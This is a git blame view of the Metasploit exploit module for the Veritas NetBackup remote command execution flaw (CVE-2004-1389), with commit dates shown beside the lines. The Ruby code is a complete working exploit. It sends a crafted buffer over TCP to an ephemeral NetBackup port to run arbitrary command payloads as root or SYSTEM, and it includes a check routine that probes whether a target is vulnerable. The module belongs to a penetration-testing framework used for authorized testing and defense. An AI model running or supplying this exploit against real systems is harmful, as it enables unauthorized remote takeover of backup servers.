Files
metasploit-gs/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

86 lines
2.0 KiB
Ruby
Raw Normal View History

2008-11-13 09:45:47 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2008-11-13 09:45:47 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2010-10-09 06:55:52 +00:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
2008-11-13 09:45:47 +00:00
def initialize(info = {})
super(update_info(info,
2008-11-13 09:45:47 +00:00
'Name' => 'VERITAS NetBackup Remote Command Execution',
'Description' => %q{
This module allows arbitrary command execution on an
2008-11-13 09:45:47 +00:00
ephemeral port opened by Veritas NetBackup, whilst an
administrator is authenticated. The port is opened and
allows direct console access as root or SYSTEM from
any source address.
},
2017-11-09 03:00:24 +11:00
'Author' => [ 'aushack' ],
2008-11-13 09:45:47 +00:00
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2004-1389' ],
[ 'OSVDB', '11026' ],
2015-10-27 12:41:32 -05:00
[ 'BID', '11494' ]
2008-11-13 09:45:47 +00:00
],
'Privileged' => true,
'Platform' => %w{ linux unix win },
2008-11-13 09:45:47 +00:00
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 1024,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
2008-11-13 09:45:47 +00:00
},
'Targets' =>
2008-11-13 09:45:47 +00:00
[
['Automatic', { }],
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2004-10-21',
2008-11-13 09:45:47 +00:00
'DefaultTarget' => 0))
end
2013-08-30 16:28:54 -05:00
2008-11-13 09:45:47 +00:00
def check
connect
2013-08-30 16:28:54 -05:00
2008-11-13 09:45:47 +00:00
sploit = rand_text_alphanumeric(10)
buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n"
2013-08-30 16:28:54 -05:00
2008-11-13 09:45:47 +00:00
sock.put(buf)
banner = sock.get_once
2013-08-30 16:28:54 -05:00
2008-11-13 09:45:47 +00:00
disconnect
2013-08-30 16:28:54 -05:00
if banner.to_s.index(sploit)
2008-11-13 09:45:47 +00:00
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2008-11-13 09:45:47 +00:00
def exploit
connect
2013-08-30 16:28:54 -05:00
2008-11-13 09:45:47 +00:00
sploit = payload.encoded.split(" ")
2013-08-30 16:28:54 -05:00
2008-11-13 09:45:47 +00:00
buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\n"
buf << payload.encoded
buf << "\n"
2013-08-30 16:28:54 -05:00
2008-11-13 09:45:47 +00:00
sock.put(buf)
res = sock.get_once
2013-08-30 16:28:54 -05:00
print_status(res.to_s)
2013-08-30 16:28:54 -05:00
2008-11-13 09:45:47 +00:00
handler
disconnect
end
end